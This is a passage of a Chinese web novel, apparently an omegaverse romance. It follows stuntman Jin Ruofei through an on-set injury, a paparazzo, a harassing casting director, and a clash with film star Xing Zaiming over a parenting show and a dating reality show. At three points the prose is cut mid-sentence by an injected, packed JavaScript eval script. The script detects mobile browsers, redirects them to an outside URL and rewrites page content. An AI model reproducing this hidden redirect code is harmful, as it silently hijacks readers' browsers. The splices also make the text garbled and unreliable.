年级里都是通过了专业选拔的佼佼者,天赋突出、身体强健,自己拼尽全力也不过是中上水平,到不了顶尖的地步。就像卫丘恒——他身高适中、肌肉结实、动作灵活,林哥夸他:“你就是生不逢时!这要是早20年,生在武打片鼎盛时期,你肯定能混出头!” 低下头,靳若飞闭上眼,长长地吐了一口浊气。 片场人来人往,繁忙嘈杂,似乎并没有人注意到他的失落。半晌,一个面生的人凑到他身旁,关切地搭话道:“飞哥,你今天收工了?” 靳若飞抬头望去,见是一张陌生的脸。但对方胸前又挂着工作牌,上面写着“场务张明宁”几个字,他心里不禁狐疑:“还没,干什么?” 对方好像有些紧张,一双眼异样地发亮着,小心翼翼地递过一瓶冰饮料:“累吗?咱们这剧组挺苦的,比不了你上一个活儿。” 剧组的人向来对他避之不及,这人吃了什么药,今天居然主动搭话?上下打量他一眼,靳若飞不咸不淡地答:“没什么苦不苦的,都是工作。” 他没接饮料,对方却不依不饶地又问:“之前你不是在争取另一个剧的角色么?好像都快拍板了。怎么,是不是那个新闻出来之后,那边的制片为了规避风险,就拒绝了你?” 被问得不大舒服,靳若飞不想得罪同事,但又不愿回答,干脆站起身朝林哥那边走去:“我还有几场戏要拍,回见。” 对方坐在原处,双眼依旧直勾勾地望着,没有离去的意思。 十五分钟后,三连踢拍摄结束,卫丘恒笑眯眯地把服装脱下来,还给了靳若飞:“飞哥,接下来看你的了。” 靳若飞回了他一个短促的笑:“嗯。” 此时副导演看看时间,十二点半,该放饭了。他又看看天上的太阳——这会儿阳光强烈,非常适合拍摄跳楼的镜头。犹豫几秒,他拿着喇叭道:“最后拍一场!主角的替身,赶紧就位!威亚准备,道具准备!安全组检查一下保护措施的布置,我们拍013场戏!” 听见这个数字,靳若飞深吸一口气,默默地将浑身肌肉绷了起来。 这是一场楼间跳跃的戏,从一个厂房的房顶,跳向另一个厂房的外楼梯。两栋厂房之间隔着整整5米的距离、4米的高差,一个不小心就会摔得头破血流,断手断脚都有可能。 吊好威亚,调整好服装,靳若飞站在天台上,四周熙熙攘攘都是紧张的工作人员。见他屏息静气地走到天台边缘往下张望,紧绷的脸似乎有些苍白,卫丘恒站在一旁,忍不住笑道:“飞哥,你OK吗?要不要我帮你跳?” 扭头望去,年轻的Alpha满面的春风得意,似乎刚才的凌空三连踢给了他很大自信。靳若飞抿抿唇,坚定地摇了摇头:“不用,我自己来。” 这时,副导演用喇叭在楼下喊道:“这场戏比较危险,大家伙儿打起精神,尽量一条过!只要好好地跳到对面楼梯上,没有出现重大失误,咱们就算过了!加油啊!” 靳若飞没有说好,也没有点头,只是深深地吸了一口气。 随着一声“action!”响起,他望着五米之外的天台边缘,猛一咬牙,脚下发力,加速朝前方飞奔过去。当距离边缘还有半米时,靳若飞右脚一蹬,整个人如飞跃悬崖的羚羊,在刺眼的阳光下划出一道优美的弧线,长臂舒展、双腿放松。 众目睽睽之下,他的身影越过外楼梯的栏杆,随即是“噗”一声沉闷,双脚踏踏实实地踩在了缓冲垫上。可威亚却没有像想象中的那样恰好悬挂住他,靳若飞的身体失去平衡,在惯性下往前一滚,撞开铁门,“呯”一声巨响,重重地摔了进去! “卧槽!”所有人的面色齐齐刷白,发出了惊恐的呼声。 . 赶忙把人送到医院,拍片的结果是左手桡骨骨裂,脚踝软组织挫伤,至少需要静养休息一个月。坐在门诊里,靳若飞神情呆滞地看着自己手臂上厚厚的石膏,双眼不由一点一点地黯淡了下去。 ……好不容易找到的工作,又黄了。 林哥给他打电话,叮嘱他好好养伤,“虽然这次合作不能继续了,但以后还有机会嘛!你身材好,又拼命,不愁没工作的。医药费你先自己垫付,剧组购买了保险,之后会理赔的。报酬的话,等杀青后,剧组会结算好了发给你。肯定不会少的,你放心,啊?” 靳若飞沉闷地低着头,却沙哑地问:“刚才拍的那一条,能用吗?” 对面一怔,随即朗笑出声:“能用能用!副导说跳得很好,摔了也没事!正好让主演接一个翻滚进门的镜头,好得很!” ……他心里这才舒服了些。 扭伤的脚踝上了药,扎好绷带,他买了一副拐杖,一瘸一拐地拄着走出诊室。 走廊上病人众多,他穿行其中,精瘦的身形高高的、薄薄的,显得异常孤单。为了套戏服而穿的背心宽松又单薄,汗湿之后被体温蒸干,此时松松垮垮地挂在肩膀上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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靳若飞一听,脸都僵了:“洺……邢先生也来了?” 潇潇紧紧搂着他的腰,小脸终于是被泪水染花了,用力抹着下巴道:“邢叔叔开车带我们过来的,就在那儿——”他回身指向不远处的角落,那辆黑色的宾利安安静静停在阴影里,像一只蛰伏的野兽,正静静观察着这边。 ……靳若飞默默地把佝偻的后背挺直了起来。 “那个,不用麻烦了吧?我们可以自己打的回去……”挣扎地推拒着,靳若飞偏开脸,极不想在邢再洺面前展露丑态。然而,宋清许已经飞快地拨通了儿子的电话:“你还愣在那儿干什么呀,过来接人啊!” 黑色宾利随即发动,不紧不慢地开了过来,停在前方的车道上。见状,靳若飞也不好再拒绝了,只得在妈妈和儿子的簇拥下,一瘸一拐地走过去。 这时,驾驶座的玻璃窗降下些许,露出了邢再洺那张面无表情的脸。他直勾勾地盯着靳若飞在单薄背心之中晃荡的身体,他结实精瘦的胳膊、和同样精瘦的长腿,半晌,眉心不禁缓缓拧了起来。 ……怎么伤成这样? 脚踝包得跟香瓜似的,左手打了厚厚的石膏,吊在脖子上,身上青紫、划痕无数,膝盖更是一片狼藉。看着他身残志坚地往这边蹭,五米的距离仿若马拉松,久久地折磨着。邢再洺不禁焦灼地“啧”一声,心里生出了一股冲下车把他扛过来的冲动。 “你能不能快点儿?磨磨蹭蹭要走到什么时候!”用不耐的催促压下这种莫名的想法,邢再洺臭着脸,立刻遭到了妈妈的严厉瞪视。 靳若飞抿抿唇,难堪地紧攥着拐杖,勉力加快了些。过了十几秒,他才终于打开车门,艰难地坐进去。潇潇乖巧地接过拐杖放到脚下,小声叮嘱:“爸爸,慢点儿……” 终于坐定,车子随即发动,驶向江边的公寓大楼。秦丽君又哭了起来,絮絮叨叨地询问事故的经过。靳若飞仓促地从后视镜中瞥一眼邢再洺没有表情的双眼,心中只觉疲惫:“妈,我回去再跟你说,好吗?” “你伤成这样……” “看着严重,其实只是轻伤罢了!别哭了,回去再跟你解释。” “呜呜呜,好……” 秦丽君的哭声终于低下去,靳若飞坐在平稳的车子里,想到自己狼狈的模样,喋喋不休的妈妈,和前途未卜的工作……双眼不禁精疲力尽地闭紧了。那瞬间,他只想找个角落藏起来,好好地清净一会儿。 一个多钟后,一行人终于到达目的地。 打开车门,摇摇晃晃地站到停车场里,靳若飞靠在车边,还伸手扶了一下失魂落魄的妈妈。宋清许趴在副驾驶窗户上叮嘱着:“回去好好养伤,工作什么的先放一放,啊?丽君,你也别太紧张,让小飞安心静养……” “好,我知道……”秦丽君哽咽地道。 摸一摸潇潇的脑袋,靳若飞犹豫地抬起头,望向宋清许和邢再洺,声音有些垂头丧气:“宋阿姨……今天谢谢你们了。” 宋清许摆摆手,宽慰道:“这有什么,他俩在我那儿做客,我肯定要陪着去的。再说了,我们也没出什么力,就是阿洺开了会儿车而已。” 本来刻意忽略了那个人,可宋清许这句话却又提起……不得已,靳若飞只得看向驾驶座的邢再洺,嘴唇嗫嚅一下,哑声道:“邢先生,谢谢你。” 邢再洺身形一顿,面无表情地扭过头。透过窗口,他看见靳若飞那双吊梢眼猛地闪烁一下,随即颤颤地垂了下去。眼波流转之间,好似微妙地透出一股……楚楚可怜的味道? 面庞不由一板,他横着心道:“我只是看在我妈的面子上,你别想太多。” 靳若飞低着头,面颊微微一瘪,似乎是难堪地抿了抿唇。他摇摇欲坠地站在地下停车场昏暗的光线中,细微的声音困在喉咙里,听上去更像蚊哼了:“嗯,我知道。” ……我知道的。 10. 你要不要来参加亲子综艺? 回到家之后,靳若飞第一件事就是洗澡。 秦丽君拿来浴巾和换洗衣服递进门里,担心地在门口问:“要不要妈妈帮你洗头?你的手套好塑料袋了吗,记得不要碰水啊!” “不用了,妈。”靳若飞坐在马桶盖上,结疤的两个膝盖无法打弯,就那么直愣愣地岔着。裤子费了九牛二虎之力才脱下来,衣服也是。等终于脱到精光,打开莲蓬头,望着身上的青紫,他只感觉身心疲惫:“……妈,你去做饭吧,潇潇该饿了。” 门口的脚步声踌躇一秒,这才犹豫地离开:“哎,好……” 没几秒,一个清浅一些的脚步走到门口:“爸爸……”潇潇期期艾艾的声音传进来,靳若飞单手搓着头发,心累地打起精神回应他:“哎,怎么了?” “你的手,还有脚,是怎么摔的呀?”他的声音小心翼翼的,似乎明白爸爸的疲惫,所以克制着担心的情绪。靳若飞含糊地答:“没什么,就落地的时候没站稳,摔了出去——你平常也经常摔跤啊,对不对?谁都有磕磕绊绊的时候。” “那你下次能小心一点吗?”潇潇似乎站了起来,小手搭在门板上。靳若飞无奈地扯扯唇,答应下来:“好,爸爸以后会小心的。” 晚上随便吃了点儿饭,靳若飞拖着疼痛的身体躺到床上,发了很长时间的呆。他总忍不住回想邢再洺在车库时那个冷漠的、难掩嫌弃的眼神。有粉丝说他的眼睛像龙,冰冷而锋利。被那样的眼神高高在上地睥睨着,靳若飞在黑暗中难以自控地咬住唇,闭上双眼,突然忍不住想埋怨宋清许。 阿姨,你为什么要叫他开车过来呢……? 明明只是打个的的事,非要弄得这么兴师动众。一想到自己身上难闻的汗味、药味以及乱七八糟的信息素气味,靳若飞就觉得难堪:他肯定嫌恶得要命吧?避之不及的、想方设法摆脱关系的人,居然又脏又臭地坐到自己车上……不由深吸一口气,他紧咬着牙关,花了很长、很长的时间,才勉强将懊丧的情绪平复下去。 摸着左手上的石膏,靳若飞呆呆望着天花板,正盘算着恢复的时间,突然,枕边的手机响了起来。扭头一看,屏幕上显示着“林哥”二字。赶忙接起电话,对面的声音颇为严肃:“小飞啊,你今天在片场,有没有碰见什么奇怪的人?” 奇怪的人? 撑着身体坐起来,靳若飞混浑浑噩噩地思索一下,突然想到了中午时那个场务:“有一个!拍跳楼戏之前他找我搭话,问一些有的没的……我记得他脖子上挂着一个工作牌,写着场务张明宁。” “看来就是他了。”林哥重重地叹一口气,道:“那个人不是张明宁,他是狗仔!顺了别人的工牌溜进来探听八卦的!你去D音上看吧,那个八卦媒体发了你的新闻,还透露了几个重要的剧情场景!制片那边正准备告他们呢。” 赶忙挂了电话,去D音上搜索新闻,果不其然,一个叫“每日娱乐新闻”的媒体发布了独家报道:“在私自生下邢再洺的孩子被曝光后,演员靳若飞的事业遭受冷遇,只能做回动作替身,替主角完成一些危险动作的拍摄。今日中午,在完成一个高难度的跳楼特技之后,靳若飞不幸手臂受伤,被送往医院包扎……” 视频中的画面有些遥远,不大清晰,但还是能看到一个人影从厂房屋顶飞跃而下,落在了隔壁厂房的外楼梯上。评论里有人道:“咦?这好像是《针锋相对》剧组?我的妈,这片儿的动作戏这么猛的嘛?” 又有主角的粉丝留言:“这么精彩的戏份,肯定是我家叶宝宝的吧?哇,我都等不及了!” 另外一部分人的注意力倒是在靳若飞身上,不过也没说什么好话:“早知今日,何必当初呢?愿赌服输吧,别怨天尤人,现在这个处境只能怪他自己。” ……靳若飞苦笑一下,关掉了手机。 . 养伤的日子乏味而焦灼。 左手的伤至少要恢复一个月,这意味着他作为动作替身的工作必须告一段落。单手紧握着手机,靠在沙发上,靳若飞感觉自己的心像被煎熬着,心神不宁、坐立不安。最后,他还是想办法找到了几个7月份才开机的剧组,将自己的资料和简历投递过去,期望得到试戏的机会。 可惜天不遂人愿,一个星期过去,他没有得到任何回音。 爸爸不再出门工作,潇潇周末放假,就不愿去宋奶奶那里了。他用彩笔在爸爸的石膏上画画,一边画一边说:“宋奶奶有朋友,可以出去串门,也可以去公园,我去不去不要紧;但是爸爸受伤了,只能在家看电视,我如果去宋奶奶那儿,爸爸就孤零零的一个人了。” 心里感到一丝安慰,靳若飞笑笑,搓了搓他毛茸茸的头发。 晚上,他洗过澡躺到床上,先翻一翻微信消息:毫无动静。意料之中,他叹口气,又打开邮箱……当看见收件箱里躺着一封试戏邀请的回信时,靳若飞猛地坐起来,在黑暗中瞪大了眼。 ……居然有剧组回复了! 顿时兴奋得无以复加,他手忙脚乱点开邮箱,记下面试的时间、地点,又下载好试戏的剧本,整个人进入了到一种极度亢奋的雀跃当中。 这种感觉已经很久没有出现过了——自从他有稳定的演出机会之后,起码三年的时间,他没有再为工作头疼过。如今一朝回到解放前……靳若飞把手机放在胸膛,期待地剧烈呼吸着,不由露出了无奈的笑容。 不管怎样,好歹是有机会了! 第二天下午三点,他穿着T恤和休闲短裤一瘸一拐地来到面试的大楼,恢复了一半的脚踝不再红肿,但还是吃不上力。 走进电梯,靳若飞对着电梯壁整理仪容,然而不管怎样,悬挂在胸前的石膏手臂依旧会吸引所有的注意力。无法,他只得咬咬牙,将绑带取下来收进口袋里,左手忍着痛背到身后——这样看就体面许多了。 来到约定的办公室,靳若飞敲敲门,听见里头回应一声“进来”,再推门而入——一个约莫四十岁的中年Alpha坐在办公桌后面,正用一种滴溜溜的好奇眼神上下打量着他:“你就是靳若飞吧?来,坐,我们聊一聊。” 对他这奇怪的视线瞬间起了警惕,靳若飞的面色变得迟疑,缓缓在桌子对面坐下,肩背略微僵硬:“李先生你好,我今天来,是想试男六号的戏……” “先不说那个。”那位李先生却微笑着打断他,眼底隐约闪烁着精光:“咱们剧组其实还没开始选角呢,今天就是约你过来聊一聊,看看咱俩投不投契。” 此话一出,靳若飞已经明白了对方的意图。面色不禁变得青白,他克制着表情,牙关默默地紧咬一下,从齿缝中挤出回绝的话:“那就不好意思了,李先生,我是来试戏的。如果你们不需要的话,我这就告辞——” “哎哎哎!别那么着急走嘛!”见他要走,对方赶忙走过来拉住他的右胳膊,脸上的笑容愈发露骨:“你现在处境艰难,别逞一时意气,丢了千载难逢的机会呀!” 距离拉近之后,靳若飞白皙的皮肤愈发引人注目,宽而舒展的肩膀跟模特似的,清晰的锁骨嵌在正中,让人不禁遐想被衣服掩盖住的部分。 Alpha的视线毫不掩饰见猎心喜的情绪,露骨地注视着他:“……虽然脸长得不够漂亮,但身材确实不错。当年邢影帝是不是就看上了这一点?” 猛地一挥手,挣脱他的桎梏,靳若飞的面色终于彻底沉了下去,冷声道:“李先生,我劝你自重!趁现在还能挽回,出了这个门,我可以当做什么事都没发生过!但如果你继续纠缠,回头我跟八卦媒体爆料什么事情,那就说不定了——最近追踪我的媒体可不少!” 闻言,李先生的笑意瞬间收敛,眼中露出恼意:“机会摆在你面前不知道珍惜!……你得罪邢再洺,有人愿意拉你一把就不错了,还傲气?!傲气能当饭吃吗?真是不识好歹,难怪这么多年都混不出头!” 懒得与他纠缠,靳若飞绷着脸转过身,脊背挺直着,一瘸一拐地离开了这个地方。 . 其实,入行六年,他并非没跟人约过炮。 生下潇潇之后,虽然心里还憧憬着邢再洺,但两人之间没有交集,再多的憧憬也没了意义。在连轴转的工作之中,他曾遇见过几个脾气相投的人,似是而非地亲密过几次。那几个人大多数不出名,跟他一样,在演艺圈的底层挣扎着。那些转瞬即逝的接触,不过是失意之人用来相互取暖的方式罢了。 但以前这么做过,不意味着现在他也愿意这么做——因丑闻而攀升的知名度像一把利剑,深深扎在他面前,泛着尖刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听爸爸这样说自己,潇潇委屈地撅撅嘴,但没吭声,依旧乖乖地坐在一旁。 谢春谅笑眯眯地搓搓小家伙的脑袋,眼神清明而锐利:“潇潇哪有得意忘形?他是在夸你呢,可孝顺了。而且他长得这么好看,形象上佳,这种乖巧漂亮的孩子,一旦上了电视,就是观众最喜欢的那个。” 靳若飞一听,本就挺直的脊背愈发紧绷,脸上的笑容褪去了一半:“谢女士,你的意思是……?” 话说到这一步,谢春谅也不再含糊,直截了当道:“靳先生,我跟您实话实说吧。咱们翡翠台的亲子综艺,《成长日记》的第四季马上就要开始制作了。我想让你和潇潇作为其中一对亲子去参加节目。这样能让观众真正地认识你们俩,也能缓解一下你的经济压力——” 说到这儿,她笑盈盈地一挤眼睛,明示道:“报酬不菲噢!六期节目,每一期六十万,抵得上你好几部戏的报酬了吧?” 六期,每一期六十万,那就是三百六十万!……靳若飞张张唇,一颗心不由密密地颤动起来。 参加《成长日记》这个节目,可是多少人求也求不到的机会!之前几季节目播放后,好几个演员因此翻红,孩子们也因为这档综艺打响了知名度,备受观众追捧。如果潇潇能上这档节目……别的不说,幼儿园肯定不会有人再欺负他了! 可一想到邢再洺那边的压力,靳若飞火热的心又冷了下来:“谢女士,你,你们邀请我……不怕得罪邢影帝吗?” “咱们台得罪他也不是一两次了。”谢春谅淡然笑笑,似乎不以为意:“娱乐圈不是只有华视一个势力,你可以在别的地方得到机会。” 闻言,靳若飞恍然大悟,稍稍放心。但一转念,他又头疼了起来:“可是,潇潇也是他的孩子……我怕他不同意潇潇上节目。” “这个嘛——”谢春谅不紧不慢地勾起唇,似乎预料到了这个情况:“其实我今天来,不止拿了一个本子。”说着,她拿出另一个综艺台本,放到靳若飞面前:“咱们台还有另一档王牌综艺——恋综《怦然心动》!你要不要看一看?” “恋综?”对这个词有些陌生,靳若飞茫然地接过台本,好奇地打开了第一页。 11. 好,那我去参加恋综 人的注意力似乎是不为意志转移的。 自那天去医院接过靳若飞之后,邢再洺的脑子里时不时就会回想起他那两条伤痕累累的、修长精瘦的腿。膝盖上的伤口是最恼人的,他以前摔伤过,所以很清楚。结疤之后,紧绷的皮肤会让你蹲不下来,稍一用力,伤口便会迸开。 晚上,邢再洺去书房里找影碟,双腿折叠着蹲在书架最下层翻找。找着找着,他莫名想到,靳若飞现在大概是做不了这个动作的;包括洗澡时,双手揪着T恤下摆准备脱掉。他莫名收起一只手,只用右手拉拽衣服——当意识到自己在做什么时,邢再洺“嗤”一声,沉下脸揪住后衣领,干净利落地把衣服甩了出去。 睡前躺在床上,以往他很少看D音,觉得没营养又聒噪。但这一晚捏着手机,邢再洺注视良久,最终忍不住点开了那个炫目的图标。 乱七八糟的视频顷刻间铺面而来,影帝先生拧着眉,一边嫌弃地滑动一边想:别人总吹什么D音的推送算法很精准……现在看来,也不过如此。 然而下一秒,他便滑到了那个“每日娱乐新闻”发的报道:“……今日中午,在完成一个高难度的跳楼特技之后,靳若飞不幸手臂受伤,被送往医院包扎……” 此时评论区的留言已经过了三千条。有人在医院偶遇包扎的靳若飞,偷偷拍下了这个瘦高Beta拄着拐的狼狈模样。好些网友在这张头拍照下方留言:“其实这人也挺老实的……新闻曝光之后没怎么作妖,安安分分地回去当动作替身。不像有些人,迫不及待地利用关注度炒作。” “是啊!我现在相信他没有其他意图了。估计就是太喜欢邢再洺,脑子不清醒,稀里糊涂就把孩子生了下来。” 喜欢吗……? 这一点邢再洺倒是不怀疑的。年轻人不懂得掩饰,所有情绪都在表露在眼眸和小动作里,一览无余。如今五年过去,他虽然成熟了些,但感情就像烙印深刻的气味,忘却时或许能相安无事,可一旦再次闻到,所有感触又会从四面八方涌来,将人拖回往日的情景之中。 他不觉得靳若飞能摆脱自己的魅力。 到了周末,邢再洺以为潇潇会去妈妈那儿做客,特地把工作移开了,准备去监督这两人的交流,顺便探听一下靳若飞的恢复情况。却不想,一直等到中午,宋清许女士都没有动静,仿佛无事发生。 他不得不主动给妈妈打电话:“你在忙什么啊?” 那一头传来隐约的风声:“我跟老朋友出来爬山呢!找我什么事?” 邢再洺狐疑地顿一下,张口结舌道:“不是……你,你孙子呢?” “潇潇呀!”宋清许惋惜地笑笑,“小飞不是受伤了么?他心疼爸爸,就留在家里陪着,不来找我玩儿了。” ……是吗。挂了电话,邢再洺想起那俩人一模一样的神态和逆来顺受的脾气,一时间啼笑皆非,没滋没味儿地把手机丢到了茶几上去。 . 最近这半年来,邢再洺的工作不多,经纪人方洛汶还负责着另外二个明星,两人也不是时时能见面。倒是新总裁走马上任后,邢再洺跟她通电话的次数变得频繁了一些,向她打探陆庭风的动向:“小陆总最近又想折腾什么?” “想方设法让你们这些头部明星多多活动呗,别拿着股份颐养天年。”方洛汶说,“哎,我还跟你透露个消息——前两天他问我你孩子的妈最近是怎么回事,怎么受伤了。又问我他是不是单干的,有没有签公司。” “……什么我孩子的妈!”对于这个称呼,邢再洺不胜其烦,奈何方洛汶总爱这样说,他抗议也无用:“小陆总什么意思,别是想签他吧?” “我不大清楚,你自己去问他。”方洛汶老奸巨猾地打太极,“反正小陆总天天都在公司,你哪天有空,过去找他喝茶就行。” 感觉不妙,邢再洺第二天早上就穿上西服,让司机载自己去了公司。横穿大堂前往电梯厅的时候,他很明显地发现等候处的人好似比以前多了?十张圆桌坐得满满当当,甚至有几个人坐在落地窗台上,手里拿着厚厚的本子或文件。 ……搞什么,这么热火朝天的? 乘电梯来到楼上总裁办公室,陆庭风不在,好像是去开会了。他的Beta女助理笑眯眯地端来一杯冰美式,道:“邢先生,你稍等一会儿,喝杯咖啡。陆总在跟创意团队和市场部门开会,应该很快就结束了。” 林助理是陆庭风从上一个的公司带过来的。老陆总以前把控华视时,这位小陆总在朋友的公司做总裁特助,练练手,也是积攒经验。如今他一走马上任,就大刀阔斧地搞这个、弄那个,说实话,邢再洺不是很看好。 坐在沙发上,端着咖啡慢慢啜饮。还没喝到一半,陆庭风便风风火火地走了进来。一见他,这位三十一岁的Alpha便眼睛一亮,立即坐到边上,伸长胳膊揽住他肩膀,十分没有边界感:“洺哥!什么风把您吹来了?” 邢再洺不动声色地斜过眼珠望向他,皮笑肉不笑道:“我再不来,你就要把靳若飞签到旗下了,是不是?” “哈哈哈哈哈,怎么会呢,真要签的话,我肯定会问过你的嘛!”陆庭风笑得假惺惺的,一口白牙亮得发蓝:“我只是觉得,一日夫妻百日恩。洺哥,人家好歹给你生了个孩子,现在处境艰难……你怎么也不拉人一把呢?” “他需要我拉吗?”邢再洺不为所动地又啜了一口咖啡,“我看他有骨气得很,宁可做回动作替身也不跟我低头。上星期摔断了手,八卦新闻满天飞,你看他跟谁服过软?……现在恐怕还在琢磨着养好伤之后去哪个剧组面试呢!” 其实说真的,自己也不是非要赶尽杀绝。邢再洺想,既然他安分守己,那我不介意网开一面,给他介绍几个工作糊口。但是他自己不张嘴,难不成要我主动上门吗?……他愿意自讨苦吃,谁也没办法。 “是吗?”陆庭风却冷不丁地质疑一声,眼神变得意味深长:“你真觉得他那么老实?” 这句话意有所指,邢再洺敏锐地听出不对劲,狐疑地扭头与老总对视。 陆庭风不紧不慢地一挑眉,悠然道:“我今早上刚听到消息,翡翠台第四季《成长日记》综艺的制片人谢春谅,昨晚去接洽了靳若飞父子。洺哥,如果此事成行,恐怕他要借着你的名气一飞冲天了。” 闻言,邢再洺的面色猛地一沉,双眸凝成了冰。 . 早上十点多的时间,靳若飞陪着潇潇在家里看动画片,两条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197841|165678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿搭在沙发扶手上,不时再翻一翻手里两档综艺的介绍和台本。秦丽君则出门买菜了,家里没了她一惊一乍的声音,倒显得有些安静。 《成长日记》其他四对亲子的名单已经确定了,靳若飞查了一下,感觉都是挺好相处的人,潇潇应该会玩得很开心。但是,万一邢再洺不允许……不知道该怎么跟孩子的爸爸开口,他瞥一眼儿子专心致志的后脑勺,忍不住无力地瘫下去,把本子扣到了自己的脸上。 门铃就是这个时候响起来的。 以为是奶奶拿了太多的菜,导致没手开门,潇潇十分主动地爬起身,小跑着往玄关奔去:“来啦来啦~” 门一开,站在外面的却是邢再洺面若冰霜的高大身影。潇潇吓了一跳,那瞬间不禁向后退一步,又无措地扭头看看沙发上的爸爸,哼唧道:“邢伯伯……爸爸,邢伯伯来了。” 靳若飞猛地坐了起来。 冷着脸跨过门槛,邢再洺瞥一眼潇潇,没吭声,不紧不慢地把大门带上,发出“呯”的一声。他看见靳若飞穿着一套褪色的蓝色篮球服,袖口和裤腿都空荡荡的,露出来的腿和胳膊上依旧带着些许划痕。膝盖上的疤倒是掉了大半,露出细嫩的粉红色皮肤,仿佛用指甲轻轻一划,就会渗出血珠。 视线移到他惊慌失措的面颊上,再移到他手中的台本上,邢再洺终于冷笑一下,露出了兴师问罪的气势:“怎么,嘴上说着不想给我带来麻烦,实际上却筹谋着利用我的名气参加亲子节目……靳若飞,你不觉得你太虚伪了吗?” 僵硬地放下台本,靳若飞下意识躲开他锋利的视线,嘴唇轻轻嗫嚅了一下:“……我正想找个机会跟你说的。” “跟我说?”邢再洺双手插兜,高高在上地立在沙发前面,笔挺西装宛若一种无言的睥睨,奚落着眼前这个衣衫不整、浑身伤痕的人:“你是打算征求我的同意,还是通知我呢?” “征求你的同意……”有些事情,一步错就步步错,现在他再怎么剖白保证,也不会有人相信他的动机了。 果不其然,邢再洺又冷笑了一下,鄙夷道:“靳若飞,我以为你真像你表现出来的那么有骨气,只可惜我高估了你——这才坚持多久,就开始走捷径了?想靠孩子翻身……原来你的抱负不过如此。五年前那副赤诚勤勉的模样,都是演给我看的吧?” 被奚落得耳朵发红,靳若飞感觉血液上涌,面庞浮起羞耻的潮红。这时,潇潇着急地扑过来,憋着哭腔对邢再洺吼道:“不准你这样说我爸爸!我爸爸很好,你别欺负他!” 靳若飞不由紧紧搂住儿子,咬着唇抬起眼帘,那双眼尾微微上斜的吊梢眼颤抖地透出一股倔强,仿佛是被磋磨多年的豺狼,终于在绝境之中显露出骨血里的兽性:“我知道你大概率不会答应我带潇潇去上综艺,所以昨天我没有答应制片人,你不必在这里冷嘲热讽!潇潇身体里有你一半血脉,你有一票否决的权利,但相应的——” 说到这儿,靳若飞用力抓过一个台本,举到他面前,咬牙道:“我自己参加综艺,你总管不着了吧?!” 看着台本上黑体加粗的《怦然心动》几个大字,邢再洺双眸怒瞪,只觉一口气堵在喉咙里,被这个不按常理出牌的Beta呛得无话可说。 12. 恋综遇旧人 在得到明确的答复之后,《怦然心动》的节目组动作很快,第二天下午就派员工拿来了签约合同。 身为“无公司、无经纪人”的个体户,靳若飞已经习惯了自己审核条款。他坐在干净的餐桌旁,埋着头仔仔细细地将合同看过两遍,又点出不大明白的几条,让对方解释给他听。来回对了好几次,他才拿出一支钢笔,郑重地签下自己的大名。 翡翠台的工作人员注意到他手里那支价值不菲的黑金色钢笔,忍不住惊异:“哟,万宝龙啊!” 靳若飞笑笑,盖上笔帽,宝贝地把钢笔收到盒子里:“工作后第一笔收入买的,专门用来签合约。” “怪有意义的!”对方站起身,将一份合同留给他,另外二份收进包里,随即笑眯眯地同他握手:“日程比较紧急,过两天会有人过来给你拍先导片。今晚我会把先导片的大致剧本和问题发给你,你准备一下该怎么回答。一星期后,咱们就出发星屿岛。” “好。”送走工作人员,靳若飞长吁一口气,坐到沙发上,只感觉刚才签字的右手在微微发颤。 他不知道这是不是一个正确的选择……参加恋爱综艺什么的,他不够八面玲珑、长得也不英俊潇洒,更别提还惹了个那么臭的名声,去了也是自取其辱吧? 转念又想到昨天早上忿忿离去的邢再洺,靳若飞苦笑一下,脑袋深深地垂了下去:虽然嘴上说着不关他事,但翡翠台邀请自己参加恋综,不也是冲着两人之间的绯闻关系么?追根究底,自己还是利用了邢再洺的名气。他如果强硬地表示不允许……叹口气,靳若飞揉一揉疲惫的眉眼,转身去网上找了前几季的《怦然心动》来看。 这档综艺是明星恋爱综艺,固定的人数是四名Alpha、四名Omega和二名Beta。十个人在星屿岛上待一周到三周左右,平常会根据台本做各种游戏、约会、聚餐等,在接触中寻找自己喜欢的人。配对成功的cp即可离岛,当然,如果有人觉得现有嘉宾中没有令自己心动的,也可以申请离岛,届时就会有新人来补上人数的空缺。 这次靳若飞就是去补空的。 工作人员跟他说,有一对cp配对成功即将离岛,届时会空出两个席位。靳若飞一听,心里略有些惊异:即将……?难道这节目是有剧本的? 工作人员又道:“因为是一个alpha一个beta组成了cp,所以除了你之外,补位的还有另一个alpha男演员……” 靳若飞忍不住问:“那个alpha男演员是谁?” 对方笑而不语:“这个不能透露。在正主露面之前,我们要保持神秘感。” “……哦。”靳若飞只得压下了好奇的心思。 . 签约后的第三天,翡翠台的摄制组如约而至。 先导片不长,预计只有一分多钟,不需要拍摄太多片段。可即使这样,摄制组也十分郑重,不止扛了全套拍摄设备过来,甚至还在他家客厅里铺设了一段导轨。 看着叔叔阿姨在自己家里忙碌,潇潇有点儿好奇,忍不住在餐厅边上探头探脑的。工作人员们看见他,第一反应是怔一下,随即开始暗搓搓地交头接耳:“这个就是……长得确实像啊,尤其那双眼睛!” “看上去好像有点儿多愁善感?” “对,气质不一样!” 潇潇听见他们议论自己的话语,忍不住默默地垂下眼、收起下巴,缓步退进了房间里。 靳若飞坐在沙发上闭着眼让化妆师化妆。他皮肤细白,化妆师忍不住啧啧称赞,一边修眉一边道:“你这脸呀,都用不着遮瑕了,随便上一层粉底就行。不过嘴唇没什么血色,待会儿得擦一点儿口红……” 